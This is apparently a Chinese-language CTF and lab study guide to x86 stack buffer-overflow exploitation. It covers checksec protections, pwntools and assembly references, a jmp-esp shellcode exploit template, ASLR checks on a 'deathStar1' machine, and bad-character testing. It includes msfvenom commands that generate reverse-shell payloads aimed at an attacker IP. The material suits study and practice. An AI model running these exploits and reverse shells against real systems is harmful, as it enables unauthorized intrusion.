0x01 分析程序
1. 分析程序的作用
A. 直接接收参数并输出
那直接尝试缓冲区溢出。
B. 进程直接挂起
查看是否有在监听什么端口。
#查看网络连接
netstat -tunlp
#查看端口服务情况
lsof -i :<端口>
确定程序的作用,然后可以尝试缓冲区溢出。
2.安全机制
checksec去检查一下安全机制,防护高不高。
A. CANARY: disabled
- 作用:栈保护机制,防止栈溢出攻击
- 原理:在函数栈帧中插入随机值(canary),函数返回前检查该值是否被修改
- 状态:
disabled表示禁用,程序容易受到栈溢出攻击
B. FORTIFY: disabled
- 作用:编译时缓冲区溢出检测
- 原理:替换不安全的字符串/内存操作函数为安全版本,在编译时检查缓冲区大小
- 状态:
disabled表示禁用,缺少运行时缓冲区检查
C. NX: ENABLED
- 作用:数据执行保护
- 原理:将内存页标记为不可执行,防止在栈或堆中执行恶意代码
- 状态:
ENABLED表示启用,有效防止代码注入攻击
D. PIE: disabled
- 作用:位置无关可执行文件
- 原理:程序基地址随机化,增加攻击者预测地址的难度
- 状态:
disabled表示禁用,程序加载地址固定
E. RELRO: Partial
- 作用:重定位表只读保护
- 原理:
- Partial RELRO:GOT表在初始化后变为只读
- Full RELRO:所有重定位在程序启动时解析,整个GOT为只读
- 状态:
Partial提供部分保护,但不如Full RELRO安全
3. 汇编命令速查
A. 汇编命令
使用 disassemble main 反汇编主函数
汇编命令速查表:
| 汇编命令 | 作用 |
|---|---|
mov | 将数据从一个地方复制到另一个地方。例如:mov eax, ebx 将ebx的值复制到eax;mov eax, [ebp-8] 将栈上某个地址的值加载到eax |
push | 将操作数压入堆栈顶部。执行时,esp(栈顶指针)会先减去4(32位系统),然后将数据存入esp指向的位置。 |
pop | 从堆栈顶部取出一个数据。执行时,先将esp指向的数据取出,然后esp加4 |
call | 调用一个函数。它首先会将下一条指令的地址(即返回地址)压入栈中,然后跳转到目标函数 |
ret | 从函数返回。它执行的操作与call相反:从栈顶弹出一个地址(即之前call压入的返回地址),然后跳转到这个地址 |
leave | 为函数返回做准备。它相当于 mov esp, ebp; pop ebp。即首先将栈顶指针esp指向当前栈基址ebp,然后从栈上弹出旧ebp的值,恢复调用者的栈帧 |
add/sub | 加/减运算 sub esp, 0x10 常用于在栈上开辟局部变量的空间 |
jmp/je/jne | 无条件/条件跳转指令根据条件码(如je,当比较结果相等时跳转)来决定是否修改程序执行流。 |
lea | 加载有效地址。计算第二个操作数的地址,并将这个地址存入第一个操作数(寄存器)。例如:lea eax, [ebp-0x10] 将局部变量buffer的地址存入eax |
int 0x80 / syscall | 触发一个系统调用。在32位Linux中,int 0x80配合eax中的系统调用号(如11是execve),可以实现如执行shell的高级操作 |
eax | 返回值 |
ebp | 栈底指针 |
esp | 栈顶指针 |
B. python pwntool库命令速查
| 命令 | 作用 |
|---|---|
p32(val) / p64(val) | 将整数打包成小端字节串 |
u32(data) | 将字节串解包成整数(小端) |
cyclic(n) | 生成长度为 n 的随机模式字符串(用于找偏移) |
cyclic_find(value) | 找到某个值在模式中的偏移 |
process('./bin') | 启动本地进程 |
remote('ip', port) | 连接远程服务 |
p.recvuntil(b"str") | 接收数据直到遇到指定字符串 |
p.sendline(data) | 发送数据并加换行 |
p.interactive() | 将控制权交给用户(获得 shell) |
asm(shellcraft.sh()) | 以shellcraft.sh()模板生成 shellcode(机器码) |
context.arch = 'i386' | 设置目标架构 |
C. 寄存器速查
- EIP:指令指针(Instruction Pointer)
- 最关键的寄存器!它指向下一条要执行的指令。
- 在缓冲区溢出中,如果能覆盖 EIP(即返回地址),就可以让程序跳转到攻击者指定的地址(如 shellcode 或 ROP 链)。
- 重点关注:EIP 是否被覆盖?被覆盖成什么值?这是判断是否成功控制程序流程的唯一标准。
- EBP:基址指针(Base Pointer)
- 用于函数调用时保存栈帧基址,通过
ebp访问局部变量和参数。 - 在栈溢出中,EBP 往往紧邻返回地址,覆盖 EBP 通常意味着已经接近覆盖返回地址。EBP 被覆盖后,函数返回时会从栈上恢复 EBP,但更重要的是返回地址被覆盖。
- 关注点:EBP 被覆盖是栈溢出的常见征兆,但重点仍是 EIP。
- 用于函数调用时保存栈帧基址,通过
- ESP:栈指针(Stack Pointer)
- 始终指向当前栈顶(最后一个压入栈的数据)。
- 在漏洞利用中,如果能够控制 ESP,可以引导程序执行栈上的 shellcode;但通常 ESP 自身不会被直接覆盖,因为溢出是从低地址向高地址覆盖,ESP 在溢出时可能被破坏,导致程序崩溃。
- EAX:累加器(Accumulator)
- 常用于算术运算、函数返回值(如
ret指令后,返回值通常存于 EAX)。 - 溢出时若 EAX 被覆盖,可能影响后续逻辑,但通常不是控制流劫持的关键。
- 常用于算术运算、函数返回值(如
- EBX:基址寄存器(Base)
- 常用于指向数据段中的基址,也可作为通用寄存器。
- 在溢出中,如果 EBX 被覆盖,可能会破坏某些寻址操作,但一般不是首要目标。
- ECX:计数寄存器(Count)
- 常用于循环计数、字符串操作(如
rep前缀)。 - 被覆盖可能导致循环次数错误,但同样不直接控制 EIP。
- 常用于循环计数、字符串操作(如
- EDX:数据寄存器(Data)
- 用于 I/O 指针、乘法除法等,也是通用寄存器。
- 溢出时关注度较低。
- ESI / EDI:源索引 / 目标索引寄存器
- 常用于字符串操作(
movsb、scasb等),分别指向源地址和目标地址。 - 如果被覆盖,可能造成内存复制异常,但通常不是溢出攻击的首要目标。
- 常用于字符串操作(
D. shellcode 生成模板
| 模板 | 作用 |
|---|---|
shellcraft.bindsh(port) | 生成一个在目标机器上监听指定端口的 shell(绑定 shell) |
| shellcraft.sh() | 生成本地 shell 的模板 |
shellcraft.connect('host', port) | 生成一个连接到指定 IP 和端口的反弹 shell |
E. 程序模板
from pwn import * # 导入 pwntools 所有功能
# 设置目标架构(影响 shellcode 生成等)
context.arch = 'i386'
# 启动目标进程(如果是远程就用 remote)
p = process('./vuln')
# --- 构造 payload ---
offset = 64 # 返回地址的偏移量
jmp_esp = 0x625011af # jmp esp 的地址
# 生成 shellcode(例如执行 /bin/sh)
shellcode = asm(shellcraft.sh())
# 组装 payload
payload = b""
payload += b"A" * offset # 填充到返回地址
payload += p32(jmp_esp) # 覆盖返回地址为 jmp_esp
payload += b"\x90" * 32 # NOP 滑板(32个字节)
payload += shellcode # shellcode
# --- 发送 payload ---
# 假设程序先输出 "Input:",我们需要先接收再发送
p.recvuntil(b"Input:") # 等待提示符
p.sendline(payload) # 发送 payload
# --- 获得 shell ---
p.interactive() # 切换交互,获得控制权
0x03 进行利用尝试
1. 获取偏移量
A. 用 GDB 调试程序
gdb ./dartVader
B. 使用 PEDA 的 pattern 功能生成测试字符串
pattern create 200
C. 运行程序,将 pattern 作为命令行参数传入
r '参数'
D. 程序崩溃后查看 EIP 的值
info registers eip
或者直接
pattern offset $eip 计算偏移量
E. 查询jmp esp
ROPgadget --binary ./your_vulnerable_program | grep "jmp esp"
ROPgadget --binary ./your_vulnerable_program --opcode ffe4
0x04 利用方法
1. 尝试利用(ret2libc)
详情见DeathStar_1(端口敲门技术+提取隐藏信息+ret2libc缓冲区溢出漏洞提权)
A. 认识 ASLR 与 NX/DEP 机制
ASLR 介绍
ASLR,全称为 Address Space Layout Randomization(地址空间布局随机化),是一种在每次程序运行时随机分配内存中各个区域加载地址的安全机制。它涵盖了堆、栈、共享库和可执行文件等多个内存区域,使得攻击者很难预测系统中关键数据和函数的真实位置,从而大大降低了利用固定内存地址进行攻击的可能性。通过这种不断变化的地址布局,即使利用漏洞获取了部分内存信息,攻击者也难以构造有效的利用链迫使攻击者不得不寻找信息泄露等其他手段来绕过这一防护措施。
NX/DEP介绍
NX/DEP,全称为 No eXecute/Data Execution Prevention (不可执行内存/数据执行保护),是一种通过标记内存区域属性来阻止恶意代码执行的技术。该机制会将通常用于存储数据的内存区域(例如堆或栈)标记为不可执行区域,从而防止利用缓冲区溢出等漏洞注入并执行代码。NX(NoeXecute)主要针对内存页属性,而DEP(Data Execution Prevention)则更多体现在操作系统对整个内存管理的安全策略上。两者结合起来,有效地防止了大部分传统的代码注入攻击,使攻击者必须依靠诸如ret2libc等间接利用技术绕过防护。
B. 评估ASLR状态
通过多次查看链接库地址的方法
erso@deathStar1:~$ ldd /bin/dartVader
linux-gate.so.1 => (0xb76e4000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7528000)
/lib/ld-linux.so.2 (0xb76e6000)
erso@deathStar1:~$ ldd /bin/dartVader
linux-gate.so.1 => (0xb773e000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7582000)
/lib/ld-linux.so.2 (0xb7740000)
erso@deathStar1:~$ ldd /bin/dartVader
linux-gate.so.1 => (0xb77b2000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75f6000)
/lib/ld-linux.so.2 (0xb77b4000)
erso@deathStar1:~$ ldd /bin/dartVader
linux-gate.so.1 => (0xb773c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7580000)
/lib/ld-linux.so.2 (0xb773e000)
erso@deathStar1:~$ ldd /bin/dartVader
linux-gate.so.1 => (0xb77ad000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75f1000)
/lib/ld-linux.so.2 (0xb77af000)
可以看到每次连接的地址不同
同样可以查看 /proc/sys/kernel/randomize_va_space 文件来查看ASLR的状态
例如
erso@deathStar1:~$ cat /proc/sys/kernel/randomize_va_space
2
/proc/sys/kemel/random1ze_va_space 2 这个文件 LInux 系统中地址罕间局随 (ASLR)
的策略,其值共有三个可能。
- 值为
0时表示关闭ASLR,此时程序加载时各内存区域的地址固定不变,攻击者可以较容易地预测内存地址,从而利用漏洞进行攻击; - 值为
1时表示开启部分随机化,这种模式下虽然某些区域(例如堆、栈)会随机化,但有的内存区域可能仍然固定或仅随机化有限,使得某些漏洞的利用风险依然存在; - 而值为
2则表示完全开启ASLR,所有相关内存区域在每次加载时都会尽可能地随机化,从而极大地提高了攻击者利用内存地址的难度。
从红队角度来看,当系统采用 2 模式时,传统依赖固定地址的漏洞利用方法将失效,必须寻求绕过信息泄露或其他漏洞链的方式来突破这一防护。这在我们构建利用时都是重点考虑的方面。
可以尝试将其设置为 0,但以目前的权限应该是做不到的。
erso@deathStar1:~$ echo 0 > /proc/sys/kernel/randomize_va_space
-bash: /proc/sys/kernel/randomize_va_space: Permission denied
提示没有足够的权限。
2. 直接写入shellcode (需要NX关闭)
通过 msfvenom 获取 shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=你的IP LPORT=443 -f python -b '\x00'
0x05 gdb-peda中报错分析
0x06 远程环境下的坏字符导致的 shellcode 失效
1. 在远程环境中可能会遇到因为坏字符导致的失败
A. 情况判断
- 先用本地进程测试(
process('./vuln')),如果本地能成功反弹 shell,说明你的 payload 本身没问题,坏字符是远程环境特有的。 - 如果本地失败,可能是你的偏移量或
jmp esp地址不对,先解决本地问题。 - 如果本地成功但远程失败,就需要考虑远程的坏字符。
B. 什么是坏字符
- 字符串处理函数:如
strcpy、sprintf会在遇到\x00(空字节)时停止复制,导致 payload 被截断。 - 协议限制:比如 HTTP 协议中,
\x0d(回车)和\x0a(换行)可能被解析为请求结束,导致 payload 不完整。 - 程序内部逻辑:某些程序会过滤特定字节(如
\x20空格)或将其替换。 - 网络传输:某些协议可能将
\xff等视为控制字符。
C. 坏字符检测
常见坏字符
\x00(空字节):几乎任何字符串函数都会截断。\x0a(换行):很多网络协议用作行结束符。\x0d(回车):同上。\x20(空格):某些命令解析会分割参数。\xff:某些协议的特殊含义。\x26(&)、\x3f(?)等:URL 编码环境。
如果有本地副本,可以直接尝试坏字符检测。
测试字节程序
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
p = process('./vuln')
# 生成测试字节(0x00-0xFF)
test_bytes = bytes(range(256))
# 假设偏移量为 112,且缓冲区起始地址已知(如 0xffffd000)
# 我们将测试字节放在返回地址之后的位置(即 ESP 指向的地方),这样方便观察
offset = 112
# 构造 payload:填充 + 4字节返回地址(随便填) + 测试字节
payload = b"A" * offset + b"BBBB" + test_bytes
# 附加 gdb 并设置断点在函数返回处(例如 main 的 ret 指令地址)
gdb.attach(p, '''
break *0x080484f2 # 替换为你的程序返回指令地址
continue
''')
# 发送 payload
p.recvuntil(b"Input:")
p.sendline(payload)
# 等待 gdb 断点触发
pause()
在 gdb 中,当断点命中时,查看 ESP 指向的内容(ESP 指向返回地址,ESP+4 就是测试字节开始的位置):
(gdb) x/256bx $esp+4
你会看到类似这样的输出(省略部分):
0xffffd004: 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07
0xffffd00c: 0x08 0x09 0x0a 0x0b 0x0c 0x0d 0x0e 0x0f
...
检查每个字节是否与预期一致。如果某个字节被修改,比如 0x0a 变成了 0x00,那么 0x0a 就是坏字符。
注意:如果
\x00本身是坏字符,那么 payload 可能在第一个字节 0x00 处就被截断,后续所有字节都不会写入内存。这种情况下,你会在内存中看到只有0x00之前的字节,之后全是未初始化的垃圾。因此,你需要先确认\x00是否坏字符,可以先用一个不含 0x00 的测试序列(例如从 0x01 开始)发送,看是否完整到达。
D. 如何避免生成坏字符的shellcode
- 使用
Metasploit - 在其中挑选需要的模板,例如反弹
TCPshell对应linux/x86/shell_reverse_tcp(假设目标为Linuxx86) - 指定坏字符:假设怀疑
\x00\x0a\x0d是坏字符,可以用-b参数列出。 - 生成
python格式的shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.128 LPORT=443 -f python -b "\x00\x0a\x0d"
-p:指定 payload。LHOST、LPORT:你的攻击机 IP 和监听端口。-f python:输出格式为 Python 代码(适合直接复制到你的脚本中)。-b:要避免的坏字符列表。
- 执行会看到
buf = b""
buf += b"\xda\xd5\xb8\x4a\x2e\xb2\x5e\xd9\x74\x24\xf4\x5b"
buf += b"\x31\xc9\xb1\x12\x83\xeb\xfc\x31\x43\x16\x03\x43"
...(省略)...
这样的输出,直接复制到 exploit 里,并把他赋值给 shellcode
E. 为什么 msfvenom 可以避免坏字符?
msfvenom 使用了多种编码器(如 x86/shikata_ga_nai)来对原始的 shellcode 进行异或、移位等变换,使得生成的字节避开你指定的坏字符。解码器会先于 shellcode 执行,在目标机器上将 shellcode 还原为原始指令。这样就能绕过输入过滤,确保 shellcode 完整到达内存。
注意:编码器本身也会产生一些字节,这些字节也必须不包含坏字符。msfvenom 会自动选择能避开你指定坏字符的编码器。